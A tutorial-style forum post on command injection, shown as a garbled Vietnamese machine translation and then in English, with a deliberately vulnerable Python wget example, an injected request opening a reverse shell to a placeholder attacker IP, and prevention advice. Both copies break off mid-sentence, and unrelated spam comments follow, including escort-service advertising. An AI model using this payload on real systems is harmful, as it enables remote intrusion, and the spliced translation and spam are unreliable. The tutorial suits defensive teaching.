Tìm hiểu về các cuộc tấn công Command Injection

TricksMMO

Administrator
Staff member
; `'" <> | # ** Tìm hiểu về các cuộc tấn công tiêm lệnh **

** lỗ thực thi mã từ xa ** là một loại lỗ xảy ra khi kẻ tấn công có thể thực thi mã của chúng trên máy tính của bạn.Một trong những cách phổ biến nhất xảy ra là thông qua các lỗ phun ** **.Chúng là một thực thi mã từ xa xảy ra khi đầu vào của người dùng được kết nối trực tiếp với lệnh hệ thống.

** Tham gia kênh Telegram của thủ thuật

**Những bài viết liên quan**

* [Cách khai thác lỗi tiêm lệnh] (https://tricksmmo.com/how-to-exploit-command-injection-error/)

** Tìm hiểu về các cuộc tấn công tiêm lệnh **

Bài viết trước tôi đã chỉ ra cách khai thác lỗi tiêm lệnh.Bài viết này chúng tôi sẽ tìm hiểu thêm về lỗ tiêm lệnh.

Giả sử rằng trang web của bạn có chức năng cho phép người dùng tải xuống tệp từ xa và xem tệp trên trang web.Ứng dụng của bạn sẽ sử dụng lệnh hệ thống để tải xuống tệp từ xa.

`` `Python
Nhập hệ điều hành
Tải xuống def (url):
Os.System ("wget -o- {}". định dạng (url))

in (tải xuống (user_input.url))
`` `

WGET là một công cụ tải xuống tệp bằng cách cung cấp tùy chọn URL và -o- cho phép WGET tải xuống tệp và hiển thị nó ở đầu ra tiêu chuẩn.Do đó, chương trình này lấy một URL từ đầu vào của người dùng và chuyển nó sang lệnh WGET được thực thi bằng Os.System ().Ví dụ: nếu bạn gửi yêu cầu này, ứng dụng sẽ tải xuống mã nguồn Google và hiển thị cho bạn.

`` `
Nhận /Download?url=google.com
Máy chủ: Ví dụ.com
`` `

Trong trường hợp này, lệnh hệ thống trở thành:

`` `
WGET -O- Google.com
`` `

Trong dòng lệnh của Linux, dấu chấm phẩy `;` có thể được sử dụng để tách các lệnh riêng lẻ.Kẻ tấn công có thể thực thi các lệnh tùy ý sau lệnh wget bằng cách gửi bất kỳ lệnh nào họ muốn sau điểm `;`.Đầu vào này sẽ khiến ứng dụng tạo ra một vỏ ngược được kết nối với IP của kẻ tấn công trên cổng 8080.

`` `
GET/DOWNLOAD?url="google.com; bash -i> &//dev/tcp/Attacker_ip/8080 0> & 1 "
Máy chủ: Ví dụ.com
`` `

Trong trường hợp này, lệnh hệ thống trở thành:

`` `
wget -o- google.com;bash -I> &//dev/tcp/Attacker_ip/8080 0> & 1
`` `

Reverse Shell làm cho máy chủ đích giao tiếp với máy của kẻ tấn công và thiết lập giao diện người dùng từ xa cho phép kẻ tấn công thực hiện bất kỳ lệnh hệ thống nào.

** Ngăn chặn tiêm lệnh **

Như bạn có thể thấy, việc tiêm lệnh có thể giúp kẻ tấn công nhập hoàn toàn ứng dụng của bạn và tài khoản người dùng đang chạy máy chủ web.Vậy làm thế nào để ngăn chặn những lỗ hổng nguy hiểm này?

Đầu tiên, bạn có thể ngăn chặn việc tiêm lệnh bằng cách không chạy hệ thống với đầu vào người dùng được cung cấp.Nếu bạn cần sử dụng đầu vào của người dùng trong lệnh hệ thống, hãy tránh gọi trực tiếp cho hệ điều hành.Thay vào đó, bạn có thể thử sử dụng các chức năng thư viện tích hợp để phục vụ cùng một mục đích.Ví dụ: thay vì sử dụng `os.system (" mkdir /dir_name "), bạn có thể sử dụng` os.mkdir (" /dir_name") `Trong thư viện hệ điều hành của Python.Và vì đầu vào của người dùng có thể được chuyển đổi thành ứng dụng phân tích mã, bạn nên coi các tệp được tải lên là không đáng tin cậy và bảo vệ tính toàn vẹn của các tệp hệ thống được thực thi, phân tích cú pháp hoặc bao gồm bởi các chương trình.

Ngoài ra, bạn có thể triển khai xác thực đầu vào để được chuyển sang các lệnh.Cách tốt nhất để đi qua một danh sách màu trắng.Bạn có thể đặt chuỗi vào danh sách màu trắng hoặc các ký tự được phép trong danh sách màu trắng.Ví dụ: khi bạn muốn người dùng thực thi các lệnh tùy ý, bạn có thể đặt các lệnh vào danh sách màu trắng mà người dùng được phép chạy, chẳng hạn như `ls` và` pwd` và chỉ cho phép các chuỗi đầu vào ở đó.

Khi bạn không thể làm điều đó, bạn cũng có thể đưa các ký tự được phép vào danh sách màu trắng.Ví dụ: biểu thức chính thức này chỉ cho phép các chữ cái và số bình thường và không
=======================================
;`'"<>| # **Learn about Command Injection attacks**

**Remote code execution hole** is a type of hole occurring when attackers can execute their code on your computer. One of the most common ways to occur is through the **Command Injection holes**. They are a remote code execution that occurs when the user's input is directly connected to a system command.

**Join the Telegram channel of Tricksmmo** 👉 [Link](https://t.me/trickmmo)

**Related Articles**

* [How to exploit Command Injection Error](https://tricksmmo.com/how-to-exploit-command-injection-error/)

**Learn about Command Injection attacks**

The previous article I showed how to exploit the command Injection error. This article we will learn more about the Command Injection hole.

Suppose that your website has the function to allow users to download the file remote and view the file on the site. Your application will use the system command to download the file remote.

```python
import os
def download(url):
os.system("wget -O- {}".format(url))

print(download(user_input.url))
```

WGET is a file download tool by providing a URL and -O- option that allows WGET to download the file and display it at the standard output. Therefore, this program takes a URL from the user's input and transfers it to the WGET command executed using OS.SYSTEM(). For example, if you send this request, the application will download the Google Source code and display it to you.

```
GET /download?url=google.com
Host: example.com
```

In this case, the system command becomes:

```
wget -o- Google.com
```

In the command line of Linux, the semicolon `;` can be used to separate individual commands. The attacker can execute the arbitrary commands after the WGET command by sending any command they want after the score `;`. This input will cause the application to create a Reverse Shell connected to the IP of the attacker on the 8080 port.

```
GET /download?url="Google.com; bash -i> &/dev/tcp/attacker_ip/8080 0>&1"
Host: example.com
```

In this case, the system command becomes:

```
wget -o- Google.com; bash -i> &/dev/tcp/attacker_ip/8080 0>&1
```

Reverse Shell makes the target server communicating with the attacker's machine and setting up a remote user interface that allows attackers to execute any system command.

**Prevent Command Injections**

As you can see, the command Injection can help the attacker entering your application completely and the user account is running the web server. So how to prevent these dangerous holes?

First, you can prevent the command Injection by not running the system with the user input provided. If you need to use the user's input in the system command, avoid calling the operating system directly. Instead, you can try using built-in library functions to serve the same purpose. For example: Instead of using `os.system("MKDIR /Dir_name"), you can use `os.mkdir("/dir_name")` in the OS library of Python. And because the user's input can be converted into a code analyzer application, you should consider the uploaded files to be unreliable and protect the integrity of the system files executed, syntax analysis or included by programs.

In addition, you can deploy the input authentication to be transferred to the commands. The best way to go through a white list. You can put the string into the white list or the characters allowed in the white list. For example, when you want users to execute arbitrary commands, you can put commands on the white list that users are allowed to run, such as `LS` and `PWD`, and only allow the input chains there.

When you can't do that, you can also put the allowed characters on the white list. For example, this formal expression only allows the letters and normal numbers and does
 
עבורו ליחסי המין. הציפיות של גברים הן גבוהות מאוד, הם מצפים לנשים בעלות גוף מושלם כפי שרואים בסרטי הפורנו. הם גם מצפים לשיתוף לעשות כאשר יש לך יותר מידי דאגות בראש? זהו בדיוק הזמן להרים את הטלפון ולהזמין נערות ליווי בתל אביב. ניתן להזמין אותן לדירתך <a href=יועץ לימודים - הכנה לבגרות, פסיכומטרי ולימודי אנגלית>great post</a>
 
נערות שכאלו, כל גבר יכול ליהנות מבילוי כפי שהוא חולם עליו. אם אתה בעניין של בילוי אינטימי חושני ועדיין בבית, או שאולי בא לך נערות ליווי בתל אביב יודעות איך להרפות ולשחרר כל גבר. מאמר 7 נערות ליווי באילת לשדרוג החופשה נערות ליווי באילת הן <a href=אלבומי תמונות לאירועים - Clubwed.co.il>good contentsays:</a>
 
Хорошая статья, спасибо!

В качестве благодарности хочу поделиться информацией: наличники из массива дерева на оконные проемы в СПб для коттеджей являются превосходных выбором среди владельцев домов.
Наличники резные деревянные для коттеджей - это отличный выбор, сочетающий в себе эстетику, прочность и экологию. Если вы хотите придать своему коттеджу особый шарм, рассмотрите наличники из массива дерева.
В СПб работает много организаций, специализирующихся на изготовлении и установке деревянных наличников. Одна из них - компания КубЭра. Предлагает большой ассортимент наличников на любой вкус.
 
Ретрит <a href=РЕТРИТЫ.РФ - Путь к себе через единение>РЕТРИТЫ.РФ - Путь к себе через единение</a> международное обозначение времяпрепровождения, посвящённого духовной практике. Ретриты бывают уединённые и коллективные; на коллективных чаще всего проводится обучение практике медитации.
 
Join Telegram ToolsKiemTrieuDoGroup
Back
Top